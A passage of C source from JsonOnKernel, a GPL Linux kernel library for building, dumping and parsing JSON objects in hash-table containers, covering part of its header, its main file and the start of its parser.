}; 79 | 80 | #define KJSTRING_PARSER_ERR_MSG_SIZE 512 81 | /* 82 | * KJSON parser error struct - it is a redefinition of the struct kjstring 83 | */ 84 | struct kjstring_parser_error { 85 | size_t buffer_size; 86 | size_t off; 87 | char *str_data; 88 | char __data[KJSTRING_PARSER_ERR_MSG_SIZE]; 89 | } __no_randomize_layout; 90 | 91 | extern struct kjstring_parser_error kjson_parser_error; 92 | 93 | #define kjson_parser_error_msg kjson_parser_error.str_data 94 | 95 | /* 96 | * Alloc and Dealloc a kjson_object_t 97 | */ 98 | #define kj_alloc(obj, data_len) (obj = kzalloc(sizeof(struct kjson_object_t) + data_len, GFP_KERNEL)) 99 | #define kj_dealloc(obj) kfree(obj) 100 | 101 | /* 102 | * Creates a new JSON container. 103 | * It returns the kjson_container object pointer, or an error code 104 | * in case of error (ENOMEM). 105 | */ 106 | extern struct kjson_container *kjson_new_container(void); 107 | 108 | /* 109 | * Dealloc a JSON container with all sub container. 110 | * @ctn: Container to dealloc 111 | */ 112 | extern void kjson_delete_container(struct kjson_container *ctn); 113 | 114 | /* 115 | * Get the Json object with specific key. 116 | * @ctn: A non empty JSON contanier. 117 | * @key: Key of the object to return. 118 | * It returns the kjson_object_t that contains the value with the specific key. 119 | * If no object with this key exist, NULL is returned. 120 | */ 121 | extern struct kjson_object_t *kjson_lookup_object(struct kjson_container *ctn, const char *key); 122 | 123 | /* 124 | * Remove the object with specific key. 125 | * @ctn: A non empty JSON contanier. 126 | * @key: Key of the object to delete. 127 | */ 128 | extern void kjson_pop_object(struct kjson_container *ctn, const char *key); 129 | 130 | /* 131 | * Insert an object with the specific key on the ctn container. 132 | * Used by the utility insert functions below. 133 | * @ctn: A non empty JSON contanier. 134 | * @key: Key of the new object. 135 | * @type: The type of the object. Read the kjson_object_type enum type. 136 | * @data: A pointer to the relative data (To an integer, a string (char*), another kjson_t or the first element of the array) 137 | * @data_len: Len of the data: (0 for Integer type or one annidate json container, strlen for string type, array element for array type) 138 | * In case of success it will return 0. 139 | */ 140 | extern int kjson_push_object(struct kjson_container *ctn, const char *key, enum kjson_object_type type, void *data, size_t data_len); 141 | 142 | /* 143 | * Will push a kjson_object_t type. 144 | * Used by kjson parser engine. 145 | * @ctn: A non empty JSON contanier. 146 | * @obj: The specific kjson_object_t to push. 147 | */ 148 | extern int __kjson_push_object(struct kjson_container *ctn, struct kjson_object_t *obj); 149 | 150 | /* 151 | * Used by the parser. Do not call this function. 152 | */ 153 | extern void kjson_delete_object(struct kjson_object_t *obj); 154 | 155 | /* ****** utility insert functions ****** */ 156 | 157 | /* 158 | * Insert an integer. 159 | * Example: kjson_push_integer(ctn, "MyKeyForInteger", 1); 160 | */ 161 | #define kjson_push_integer(ctn, key, T) do { \ 162 | int64_t val = (int64_t)T; \ 163 | kjson_push_object(ctn, key, KOBJECT_TYPE_INTEGER, &val, 0); \ 164 | } while(0) 165 | 166 | /* 167 | * Insert a string. 168 | * Example: kjson_push_string(ctn, "MyKeyForString", "MyString"); 169 | */ 170 | #define kjson_push_string(ctn, key, T) do { \ 171 | kjson_push_object(ctn, key, KOBJECT_TYPE_STRING, T, strlen(T)); \ 172 | } while(0) 173 | 174 | /* 175 | * Insert an annidated JSON. child_ctn will be a child of ctn. 176 | * child_ctn shall be a type of kjson_container. 177 | * In case of you'll call kjson_delete_container on ctn, child_ctn will be deleted too. 178 | */ 179 | #define kjson_push_container(ctn, key, child_ctn) do { \ 180 | kjson_push_object(ctn, key, KOBJECT_TYPE_OBJECT, child_ctn, 0); \ 181 | } while(0) 182 | 183 | /* 184 | * Insert an array of integers. 185 | * Example: kjson_push_integer_array(ctn, "MyKeyForArrayInt", 1, 2, 3, 5); 186 | */ 187 | #define kjson_push_integer_array(ctn, key, ... ) do { \ 188 | int64_t arr[] = { __VA_ARGS__ }; \ 189 | kjson_push_object(ctn, key, KOBJECT_TYPE_INTEGER_ARRAY, arr, sizeof(arr) / sizeof(int64_t)); \ 190 | } while(0) 191 | 192 | /* 193 | * Insert an array of strings. 194 | * Example: kjson_push_string_array(ctn, "MyKeyForArrayChar", "str1", "str2", "str3", "str5"); 195 | */ 196 | #define kjson_push_string_array(ctn, key, ... ) do { \ 197 | char *arr[] = { __VA_ARGS__ }; \ 198 | kjson_push_object(ctn, key, KOBJECT_TYPE_STRING_ARRAY, arr, sizeof(arr) / sizeof(char*)); \ 199 | } while(0) 200 | 201 | /* 202 | * Insert an annidated JSON array. All kjson_container objects inserts will be childs of ctn. 203 | * Example: kjson_push_container_array(ctn, "AKeyOf", child1, child2, child3, child4); 204 | * Where child-n are kjson_container types. 205 | * In case of you'll call kjson_delete_container on ctn, all child-n will be deleted too. 206 | */ 207 | #define kjson_push_container_array(ctn, key, ... ) do { \ 208 | struct kjson_container *arr[] = { __VA_ARGS__ }; \ 209 | kjson_push_object(ctn, key, KOBJECT_TYPE_OBJECT_ARRAY, arr, sizeof(arr) / sizeof(struct kjson_container*)); \ 210 | } while(0) 211 | 212 | #define kjson_push_null(ctn, key) \ 213 | kjson_push_object(ctn, key, KOBJECT_TYPE_OBJECT_NULL, 0, 0); \ 214 | 215 | #define kjson_push_true(ctn, key) do { \ 216 | int true = 1; \ 217 | kjson_push_object(ctn, key, KOBJECT_TYPE_OBJECT_BOOL, &true, 0); \ 218 | } while(0) 219 | 220 | #define kjson_push_false(ctn, key) do { \ 221 | int false = 0; \ 222 | kjson_push_object(ctn, key, KOBJECT_TYPE_OBJECT_BOOL, &false, 0); \ 223 | } while(0) 224 | /* ****** utility read functions ****** */ 225 | 226 | /* 227 | * Converts a kjson_object_t to an integer. 228 | */ 229 | #define kjson_as_integer(obj) *((int64_t*)obj->data) 230 | 231 | /* 232 | * Converts a kjson_object_t to a string. 233 | */ 234 | #define kjson_as_string(obj) (char*)obj->data 235 | 236 | /* 237 | * Converts a kjson_object_t to a container. 238 | * kjson_container returned is a child (Do not deallocated it). 239 | */ 240 | #define kjson_as_container(obj) *((struct kjson_container**)obj->data) 241 | 242 | /* 243 | * Converts a kjson_object_t to an array of integer. 244 | */ 245 | #define kjson_as_integer_array(obj) (int64_t*)((struct kjson_array_struct*)obj->data)->data 246 | 247 | /* 248 | * Converts a kjson_object_t to an array of string. 249 | */ 250 | #define kjson_as_string_array(obj) (char**)((struct kjson_array_struct*)obj->data)->data 251 | 252 | /* 253 | * Converts a kjson_object_t to an array of containers. 254 | * kjson_containers returned are childs (Do not deallocated it). 255 | */ 256 | #define kjson_as_container_array(obj) (struct kjson_container**)((struct kjson_array_struct*)obj->data)->data 257 | 258 | /* 259 | * Get the lenght of an array. 260 | */ 261 | #define kjson_array_length(obj) (size_t)((struct kjson_array_struct*)obj->data)->len 262 | 263 | /* 264 | * Get bool data as integer 265 | */ 266 | #define kjson_as_bool(obj) *((int*)obj->data) 267 | 268 | /* 269 | * Return true if the JSON object is null 270 | */ 271 | #define kjson_object_is_null(obj) (obj->type == KOBJECT_TYPE_OBJECT_NULL) 272 | 273 | /* 274 | * Create a JSON text starting from the internal data structure. 275 | * @ctn: A non NULL kjson_container_t 276 | * It returns a kjstring_t containing the KJSON Text parsed. 277 | * An error code is returned in case of error. (ENOMEM) 278 | * The kjstring_t object returned must to be released with kjstring_free function. 279 | */ 280 | extern struct kjstring_t *kjson_dump(struct kjson_container *ctn); 281 | 282 | /* 283 | * Parse a JSON text and create the kjson_container object. 284 | * @json_str: The string buffer containing the json text to parse. 285 | * It returns a kjson_container built starting by the JSON Text contained into the json_str. 286 | * In case of error, NULL is returned. 287 | */ 288 | extern struct kjson_container *kjson_parse(const char *json_str); 289 | 290 | 291 | #endif 292 | -------------------------------------------------------------------------------- /retrive_process_informations/kjson/kjson_main.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | 3 | /* This file is part of JsonOnKernel. 4 | * 5 | * JsonOnKernel is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * JsonOnKernel is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with Nome-Programma. If not, see . 17 | * 18 | * Copyright (C) 2023, Emanuele Santini 19 | * 20 | * Authors: Emanuele Santini 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include "kjson.h" 31 | 32 | // Compress u32 hash number to the correct index for obj_table_root map array 33 | #define kj_hash_compressor(hash) (hash >> (32 - KJSON_BITS_SIZE)) 34 | 35 | // Get the obj_table_root index 36 | #define kj_get_table_index(key) kj_hash_compressor(jhash(key, strlen(key), 0)) 37 | 38 | struct kjson_container { 39 | DECLARE_HASHTABLE(obj_table_root, KJSON_BITS_SIZE); 40 | }; 41 | 42 | static struct kjson_object_t* __kj_create_integer(void *data, size_t data_len); 43 | static struct kjson_object_t* __kjson_create_string(void *data, size_t data_len); 44 | static struct kjson_object_t* __kjson_create_ctn_object(void *data, size_t data_len); 45 | static struct kjson_object_t* __kjson_create_integer_array(void *data, size_t data_len); 46 | static struct kjson_object_t* __kjson_create_string_array(void *data, size_t data_len); 47 | static struct kjson_object_t* __kjson_create_ctn_object_array(void *data, size_t data_len); 48 | static struct kjson_object_t* __kjson_create_null(void *data, size_t data_len); 49 | static struct kjson_object_t* __kjson_create_bool(void *data, size_t data_len); 50 | 51 | typedef struct kjson_object_t* (*kjson_create_ops_t)(void*, size_t); 52 | 53 | static int kjson_dump_process_container(struct kjson_container *ctn, struct kjstring_t *json_dmp); 54 | static int kjson_dump_object(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 55 | 56 | static void __kjson_dump_integer(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 57 | static void __kjson_dump_string(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 58 | static void __kjson_dump_ctn_object(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 59 | static void __kjson_dump_integer_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 60 | static void __kjson_dump_string_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 61 | static void __kjson_dump_ctn_object_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 62 | static void __kjson_dump_null(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 63 | static void __kjson_dump_bool(struct kjson_object_t *obj, struct kjstring_t *json_dmp); 64 | 65 | typedef void (*kjson_dump_ops_t)(struct kjson_object_t*, struct kjstring_t*); 66 | 67 | static void copy_string_array(struct kjson_object_t *obj, char **str_array, size_t array_len); 68 | static void dealloc_string_array(struct kjson_object_t *obj); 69 | static void dealloc_object_array(struct kjson_object_t *obj); 70 | 71 | struct kjson_container *kjson_new_container(void) 72 | { 73 | struct kjson_container *ctn; 74 | 75 | if(!(ctn = kmalloc(sizeof(struct kjson_container), GFP_KERNEL))) 76 | return ERR_PTR(-ENOMEM); 77 | 78 | memset(ctn, 0x0, sizeof(struct kjson_container)); 79 | hash_init(ctn->obj_table_root); 80 | 81 | return ctn; 82 | } 83 | EXPORT_SYMBOL_GPL(kjson_new_container); 84 | 85 | void kjson_delete_container(struct kjson_container *ctn) 86 | { 87 | struct kjson_object_t *obj; 88 | struct hlist_node *tmp; 89 | unsigned int i = 0; 90 | 91 | if(unlikely(!ctn)) 92 | return; 93 | 94 | hash_for_each_safe(ctn->obj_table_root, i, tmp, obj, obj_list) 95 | { 96 | kjson_delete_object(obj); 97 | } 98 | 99 | kfree(ctn); 100 | } 101 | EXPORT_SYMBOL_GPL(kjson_delete_container); 102 | 103 | void kjson_delete_object(struct kjson_object_t *obj) 104 | { 105 | struct kjson_container *ctn = NULL; 106 | 107 | switch(obj->type) 108 | { 109 | case KOBJECT_TYPE_OBJECT: 110 | ctn = kjson_as_container(obj); 111 | kjson_delete_container(ctn); 112 | break; 113 | 114 | case KOBJECT_TYPE_STRING_ARRAY: 115 | dealloc_string_array(obj); 116 | break; 117 | 118 | case KOBJECT_TYPE_OBJECT_ARRAY: 119 | dealloc_object_array(obj); 120 | break; 121 | default: break; 122 | } 123 | 124 | kj_dealloc(obj); 125 | } 126 | 127 | void dealloc_string_array(struct kjson_object_t *obj) 128 | { 129 | size_t array_len; 130 | char **parr; 131 | int i; 132 | 133 | parr = kjson_as_string_array(obj); 134 | array_len = kjson_array_length(obj); 135 | 136 | for(i = 0; i < array_len; i++) 137 | kfree(parr[i]); 138 | } 139 | 140 | void dealloc_object_array(struct kjson_object_t *obj) 141 | { 142 | size_t array_len; 143 | struct kjson_container **parr; 144 | int i; 145 | 146 | parr = kjson_as_container_array(obj); 147 | array_len = kjson_array_length(obj); 148 | 149 | for(i = 0; i < array_len; i++) 150 | kjson_delete_container(parr[i]); 151 | } 152 | 153 | struct kjson_object_t *kjson_lookup_object(struct kjson_container *ctn, const char *key) 154 | { 155 | struct kjson_object_t *obj; 156 | u32 index; 157 | 158 | if(unlikely(!ctn)) 159 | return NULL; 160 | 161 | index = kj_get_table_index(key); 162 | 163 | hash_for_each_possible(ctn->obj_table_root, obj, obj_list, index) 164 | { 165 | // Check the collision. 166 | if(!strcmp(obj->key, key)) 167 | break; 168 | } 169 | 170 | return obj; 171 | } 172 | EXPORT_SYMBOL_GPL(kjson_lookup_object); 173 | 174 | void kjson_pop_object(struct kjson_container *ctn, const char *key) 175 | { 176 | struct kjson_object_t *obj; 177 | 178 | if(unlikely(!ctn)) 179 | return; 180 | 181 | obj = kjson_lookup_object(ctn, key); 182 | hash_del(&obj->obj_list); 183 | 184 | kjson_delete_object(obj); 185 | } 186 | EXPORT_SYMBOL(kjson_pop_object); 187 | 188 | int __kjson_push_object(struct kjson_container *ctn, struct kjson_object_t *obj) 189 | { 190 | struct kjson_object_t *tmp; 191 | u32 index; 192 | 193 | if(unlikely(!ctn || !obj)) 194 | return -EINVAL; 195 | 196 | index = kj_get_table_index(obj->key); 197 | 198 | // Control if the same key already exist 199 | hash_for_each_possible(ctn->obj_table_root, tmp, obj_list, index) 200 | { 201 | if(!strcmp(obj->key, tmp->key)) { 202 | kj_dealloc(obj); 203 | return 1; 204 | } 205 | } 206 | 207 | hash_add(ctn->obj_table_root, &obj->obj_list, index); 208 | 209 | return 0; 210 | } 211 | EXPORT_SYMBOL_GPL(__kjson_push_object); 212 | 213 | void copy_string_array(struct kjson_object_t *obj, char **str_array, size_t array_len) 214 | { 215 | char **parr; 216 | size_t str_size; 217 | int i; 218 | 219 | parr = kjson_as_string_array(obj); 220 | 221 | for(i = 0; i < array_len; i++) { 222 | str_size = strlen(str_array[i]); 223 | parr[i] = kmalloc(str_size + 1, GFP_KERNEL); 224 | strncpy(parr[i], str_array[i], str_size); 225 | *(parr[i] + str_size) = '\0'; 226 | } 227 | } 228 | 229 | struct kjson_object_t *__kj_create_integer(void *data, size_t data_len) 230 | { 231 | struct kjson_object_t *obj; 232 | 233 | if(kj_alloc(obj, sizeof(int64_t)) == NULL) 234 | return NULL; 235 | 236 | *(int64_t*)obj->data = *(int64_t*)data; 237 | 238 | return obj; 239 | } 240 | 241 | struct kjson_object_t *__kjson_create_string(void *data, size_t data_len) 242 | { 243 | struct kjson_object_t *obj; 244 | 245 | if(kj_alloc(obj, data_len + 1) == NULL) 246 | return NULL; 247 | 248 | strncpy(obj->data, data, data_len); 249 | obj->data[data_len] = '\0'; 250 | 251 | return obj; 252 | } 253 | 254 | struct kjson_object_t *__kjson_create_ctn_object(void *data, size_t data_len) 255 | { 256 | struct kjson_container *nest; 257 | struct kjson_object_t *obj; 258 | 259 | if(kj_alloc(obj, sizeof(struct kjson_container*)) == NULL) 260 | return NULL; 261 | 262 | nest = (struct kjson_container*)data; 263 | *(struct kjson_container**)obj->data = (struct kjson_container*)nest; 264 | 265 | return obj; 266 | } 267 | 268 | struct kjson_object_t *__kjson_create_integer_array(void *data, size_t data_len) 269 | { 270 | struct kjson_object_t *obj; 271 | struct kjson_array_struct *s; 272 | 273 | if(kj_alloc(obj, (data_len * sizeof(int64_t)) + sizeof(struct kjson_array_struct)) == NULL) 274 | return NULL; 275 | 276 | s = (struct kjson_array_struct*)obj->data; 277 | s->len = data_len; 278 | 279 | memcpy(s->data, data, data_len * sizeof(int64_t)); 280 | 281 | return obj; 282 | } 283 | 284 | struct kjson_object_t *__kjson_create_string_array(void *data, size_t data_len) 285 | { 286 | struct kjson_object_t *obj; 287 | struct kjson_array_struct *s; 288 | 289 | if(kj_alloc(obj, (data_len * sizeof(char*)) + sizeof(struct kjson_array_struct)) == NULL) 290 | return NULL; 291 | 292 | s = (struct kjson_array_struct*)obj->data; 293 | s->len = data_len; 294 | copy_string_array(obj, data, data_len); 295 | 296 | return obj; 297 | } 298 | 299 | struct kjson_object_t *__kjson_create_ctn_object_array(void *data, size_t data_len) 300 | { 301 | struct kjson_object_t *obj; 302 | struct kjson_array_struct *s; 303 | struct kjson_container **nest_arr; 304 | unsigned int i; 305 | 306 | if(kj_alloc(obj, (data_len * sizeof(struct kjson_container*)) + sizeof(struct kjson_array_struct)) == NULL) 307 | return NULL; 308 | 309 | s = (struct kjson_array_struct*)obj->data; 310 | s->len = data_len; 311 | 312 | nest_arr = (struct kjson_container**)data; 313 | 314 | for(i = 0; i < s->len; i++) 315 | ((struct kjson_container**)s->data)[i] = nest_arr[i]; 316 | 317 | return obj; 318 | } 319 | 320 | struct kjson_object_t* __kjson_create_null(void *data, size_t data_len) 321 | { 322 | struct kjson_object_t *obj; 323 | 324 | if(kj_alloc(obj, 0) == NULL) 325 | return NULL; 326 | 327 | return obj; 328 | } 329 | 330 | struct kjson_object_t* __kjson_create_bool(void *data, size_t data_len) 331 | { 332 | struct kjson_object_t *obj; 333 | 334 | if(kj_alloc(obj, sizeof(int)) == NULL) 335 | return NULL; 336 | 337 | *(int*)obj->data = *(int*)data; 338 | 339 | return obj; 340 | } 341 | 342 | // Do not change the sequence of this array 343 | static kjson_create_ops_t kj_create_ops[] = { 344 | __kj_create_integer, 345 | __kjson_create_string, 346 | __kjson_create_ctn_object, 347 | __kjson_create_integer_array, 348 | __kjson_create_string_array, 349 | __kjson_create_ctn_object_array, 350 | __kjson_create_null, 351 | __kjson_create_bool 352 | }; 353 | 354 | // void kjson_push_object(struct kjson_container *json_ctn, kjson_type type, const char *key, void *data, ...) 355 | int kjson_push_object(struct kjson_container *ctn, const char *key, enum kjson_object_type type, void *data, size_t data_len) 356 | { 357 | struct kjson_object_t *obj; 358 | 359 | if(unlikely(!ctn || !key)) 360 | return -EINVAL; 361 | 362 | if(unlikely(!data && type != KOBJECT_TYPE_OBJECT_NULL)) 363 | return -EINVAL; 364 | 365 | if((int)type > KOBJECT_NUM - 1 || (int)type < 0) 366 | return -EINVAL; 367 | 368 | if((obj = kj_create_ops[(int)type - 1](data, data_len)) == NULL) 369 | return -EINVAL; 370 | 371 | obj->type = type; 372 | strncpy(obj->key, key, KJSON_KEY_SIZE); 373 | 374 | // If an object with same key already exist, return 1 375 | if(__kjson_push_object(ctn, obj)) 376 | return 1; 377 | 378 | return 0; 379 | } 380 | EXPORT_SYMBOL_GPL(kjson_push_object); 381 | 382 | #define open_scoope(json_dmp) kjstring_append(json_dmp, "{") 383 | #define close_scoope(json_dmp) kjstring_append(json_dmp, "}") 384 | #define open_array(json_dmp) kjstring_append(json_dmp, "[") 385 | #define close_array(json_dmp) kjstring_append(json_dmp, "]") 386 | 387 | #define set_integer(json_dmp, val) kjstring_append(json_dmp, val) 388 | 389 | #define set_string(json_dmp, str) do { \ 390 | kjstring_append(json_dmp, "\""); \ 391 | kjstring_append(json_dmp, str); \ 392 | kjstring_append(json_dmp, "\""); \ 393 | } while(0) 394 | 395 | #define set_key(json_dmp, str) do { \ 396 | set_string(json_dmp, str); \ 397 | kjstring_append(json_dmp, ": "); \ 398 | } while(0) 399 | 400 | #define set_array(json_dmp, array, array_len, set_FOO) do { \ 401 | int i; \ 402 | open_array(json_dmp); \ 403 | for(i = 0; i < array_len; i++) { \ 404 | if(i > 0) \ 405 | kjstring_append(json_dmp, ", "); \ 406 | set_FOO(json_dmp, array[i]); \ 407 | } \ 408 | close_array(json_dmp); \ 409 | } while(0) 410 | 411 | #define set_ctn(json_dmp, ctn) kjson_dump_process_container(ctn, json_dmp) 412 | 413 | #define set_integer_array(json_dmp, array_ptr, array_len) set_array(json_dmp, array_ptr, array_len, set_integer) 414 | #define set_string_array(json_dmp, array_ptrs, array_len) set_array(json_dmp, array_ptrs, array_len, set_string) 415 | #define set_ctn_array(json_dmp, array_ptrs, array_len) set_array(json_dmp, array_ptrs, array_len, set_ctn) 416 | 417 | // Do not change the sequence of this array 418 | kjson_dump_ops_t kjson_dump_ops[] = { 419 | __kjson_dump_integer, 420 | __kjson_dump_string, 421 | __kjson_dump_ctn_object, 422 | __kjson_dump_integer_array, 423 | __kjson_dump_string_array, 424 | __kjson_dump_ctn_object_array, 425 | __kjson_dump_null, 426 | __kjson_dump_bool 427 | }; 428 | 429 | void __kjson_dump_integer(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 430 | { 431 | // set key 432 | set_key(json_dmp, obj->key); 433 | // set value 434 | set_integer(json_dmp, kjson_as_integer(obj)); 435 | } 436 | 437 | void __kjson_dump_string(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 438 | { 439 | // set key 440 | set_key(json_dmp, obj->key); 441 | // set value 442 | set_string(json_dmp, kjson_as_string(obj)); 443 | } 444 | 445 | void __kjson_dump_ctn_object(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 446 | { 447 | struct kjson_container *ctn = kjson_as_container(obj); 448 | 449 | set_key(json_dmp, obj->key); 450 | set_ctn(json_dmp, ctn); 451 | } 452 | 453 | void __kjson_dump_integer_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 454 | { 455 | int64_t *p = kjson_as_integer_array(obj); 456 | 457 | set_key(json_dmp, obj->key); 458 | set_integer_array(json_dmp, p, kjson_array_length(obj)); 459 | } 460 | 461 | void __kjson_dump_string_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 462 | { 463 | char **p = kjson_as_string_array(obj); 464 | 465 | set_key(json_dmp, obj->key); 466 | set_string_array(json_dmp, p, kjson_array_length(obj)); 467 | } 468 | 469 | void __kjson_dump_ctn_object_array(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 470 | { 471 | struct kjson_container **ctn = kjson_as_container_array(obj); 472 | 473 | set_key(json_dmp, obj->key); 474 | set_ctn_array(json_dmp, ctn, kjson_array_length(obj)); 475 | } 476 | 477 | void __kjson_dump_null(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 478 | { 479 | set_key(json_dmp, obj->key); 480 | kjstring_append(json_dmp, "null"); 481 | } 482 | 483 | void __kjson_dump_bool(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 484 | { 485 | set_key(json_dmp, obj->key); 486 | 487 | if(kjson_as_bool(obj)) 488 | kjstring_append(json_dmp, "true"); 489 | else 490 | kjstring_append(json_dmp, "false"); 491 | } 492 | 493 | int kjson_dump_object(struct kjson_object_t *obj, struct kjstring_t *json_dmp) 494 | { 495 | if(unlikely(!obj || !json_dmp)) 496 | return -EINVAL; 497 | 498 | if(obj->type == 0) 499 | return -EINVAL; 500 | 501 | kjson_dump_ops[obj->type - 1](obj, json_dmp); 502 | 503 | return 0; 504 | } 505 | 506 | int kjson_dump_process_container(struct kjson_container *ctn, struct kjstring_t *json_dmp) 507 | { 508 | struct kjson_object_t *curr; 509 | struct hlist_node *tmp; 510 | unsigned int i = 0, j = 0; 511 | int ret = 0; 512 | 513 | open_scoope(json_dmp); 514 | 515 | hash_for_each_safe(ctn->obj_table_root, i, tmp, curr, obj_list) 516 | { 517 | if(j > 0) 518 | kjstring_append(json_dmp, ", "); 519 | 520 | if((ret = kjson_dump_object(curr, json_dmp))) 521 | return ret; // PARSING ERROR 522 | 523 | j = 1; 524 | } 525 | 526 | close_scoope(json_dmp); 527 | 528 | return 0; 529 | } 530 | 531 | struct kjstring_t *kjson_dump(struct kjson_container *ctn) 532 | { 533 | struct kjstring_t *json_dmp = NULL; 534 | int ret; 535 | 536 | if(unlikely(!ctn)) 537 | return ERR_PTR(-EINVAL); 538 | 539 | if((json_dmp = kjstring_alloc(KJSON_MEMORY_DUMP_SIZE)) == NULL) 540 | return ERR_PTR(-ENOMEM); 541 | 542 | if((ret = kjson_dump_process_container(ctn, json_dmp))) 543 | { 544 | kjstring_free(json_dmp); 545 | json_dmp = ERR_PTR(ret); 546 | } 547 | 548 | return json_dmp; 549 | } 550 | EXPORT_SYMBOL_GPL(kjson_dump); 551 | 552 | MODULE_LICENSE("GPL"); 553 | MODULE_AUTHOR("Emanuele Santini "); 554 | -------------------------------------------------------------------------------- /retrive_process_informations/kjson/kjson_parser.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | 3 | /* This file is part of JsonOnKernel. 4 | * 5 | * JsonOnKernel is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * JsonOnKernel is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with Nome-Programma. If not, see . 17 | * 18 | * Copyright (C) 2023, Emanuele Santini 19 | * 20 | * Authors: Emanuele Santini 21 | */ 22 | 23 | #include 24 | #include 25 | 26 | #include "kjson.h" 27 | 28 | #define pop_nospace(iterator, chr) do { \ 29 | do { \ 30 | kjstring_iterator_next(iterator, chr); \ 31 | } while(chr == 0x20 || chr == 0xa); \ 32 | } while(0) 33 | 34 | #define get_nospace(iterator, chr) do { \ 35 | chr = kjstring_iterator_get(iterator); \ 36 | while(chr == 0x20 || chr == 0xa) { \ 37 | kjstring_iterator_next(iterator, chr); \ 38 | chr = kjstring_iterator_get(iterator); \ 39 | } \ 40 | } while(0) 41 | 42 | static struct kjson_container *kjson_start_parser(struct kjstring_iterator *iterator, bool is_nested); 43 | static struct kjson_object_t *kjson_parse_object(struct kjstring_iterator *iterator); 44 | 45 | /* Parse the key from the iterator of the json string 46 | * Returns 0 in case of success 47 | */ 48 | static int parse_key(struct kjstring_iterator *iterator, struct kjstring_t *ret_key); 49 | static int parse_integer(struct kjstring_iterator *iterator, int64_t *ret_value); 50 | static int parse_string(struct kjstring_iterator *iterator, struct kjstring_t *ret_str); 51 | 52 | static struct kjson_object_t *parse_value(struct kjstring_iterator *iterator); 53 | 54 | static struct kjson_object_t *parse_integer_object(struct kjstring_iterator *iterator); 55 | static struct kjson_object_t *parse_string_object(struct kjstring_iterator *iterator); 56 | static struct kjson_object_t *parse_ctn_object(struct kjstring_iterator *iterator); 57 | 58 | static struct kjson_object_t *parse_array_object(struct kjstring_iterator *iterator); 59 | static struct kjson_object_t *parse_string_array(struct kjstring_iterator *iterator); 60 | static struct kjson_object_t *parse_integer_array(struct kjstring_iterator *iterator); 61 | static struct kjson_object_t *parse_ctn_array(struct kjstring_iterator *iterator); 62 | static struct kjson_object_t *parse_null_bool_object(struct kjstring_iterator *iterator); 63 | 64 | static size_t find_string_size(struct kjstring_iterator *iterator); 65 | static size_t find_array_size(struct kjstring_iterator *iterator); 66 | static size_t find_ctn_array_size(struct kjstring_iterator *iterator); 67 | 68 | struct kjstring_parser_error kjson_parser_error = { 69 | .buffer_size = KJSTRING_PARSER_ERR_MSG_SIZE, 70 | .off = 0, 71 | .str_data = NULL 72 | }; 73 | 74 | static inline void set_error(char *msg, int64_t pos, char character) 75 | { 76 | kjstring_append(((struct kjstring_t*)&kjson_parser_error), msg); 77 | kjstring_append(((struct kjstring_t*)&kjson_parser_error), ". Position: "); 78 | kjstring_append(((struct kjstring_t*)&kjson_parser_error), pos); 79 | kjstring_append(((struct kjstring_t*)&kjson_parser_error), ", Character: "); 80 | // For a char type kjstring_push is more efficent 81 | kjstring_push(((struct kjstring_t*)&kjson_parser_error), character); 82 | 83 | printk("%s %lld %c\n", msg, pos, character); 84 | } 85 | 86 | int parse_integer(struct kjstring_iterator *iterator, int64_t *ret_value) 87 | { 88 | char nextchar; 89 | kjstring_static_declare(string_integer, 64); 90 | 91 | if(!ret_value) 92 | return 1; 93 | 94 | get_nospace(iterator, nextchar); 95 | if(nextchar < 0x30 || nextchar > 0x39) 96 | { 97 | set_error("Invalid integer character", iterator->pos, nextchar); 98 | return 1; 99 | } 100 | 101 | do 102 | { 103 | kjstring_push(string_integer, nextchar); 104 | kjstring_iterator_next(iterator, nextchar); 105 | nextchar = kjstring_iterator_get(iterator); 106 | } while(nextchar >= 0x30 && nextchar <= 0x39); 107 | 108 | if(nextchar == '\0') 109 | { 110 | set_error("Syntax error", iterator->pos, nextchar); 111 | return 1; 112 | } 113 | 114 | // An integer shall be terminated by one of this char's: ' ' ',' ']' 115 | if(nextchar != ' ' && nextchar != ',' && nextchar != ']' && nextchar != '}') 116 | { 117 | set_error("Syntax error", iterator->pos, nextchar); 118 | return 1; 119 | } 120 | 121 | if(kstrtol(kjstring_str(string_integer), 10, (long*)ret_value)) 122 | { 123 | set_error("Integer error", iterator->pos, nextchar); 124 | return 1; 125 | } 126 | 127 | return 0; 128 | } 129 | 130 | int parse_string(struct kjstring_iterator *iterator, struct kjstring_t *ret_str) 131 | { 132 | char nextchar; 133 | 134 | pop_nospace(iterator, nextchar); 135 | if(nextchar != '\"') { 136 | set_error("Character not recognized - do you miss '\"' ?", 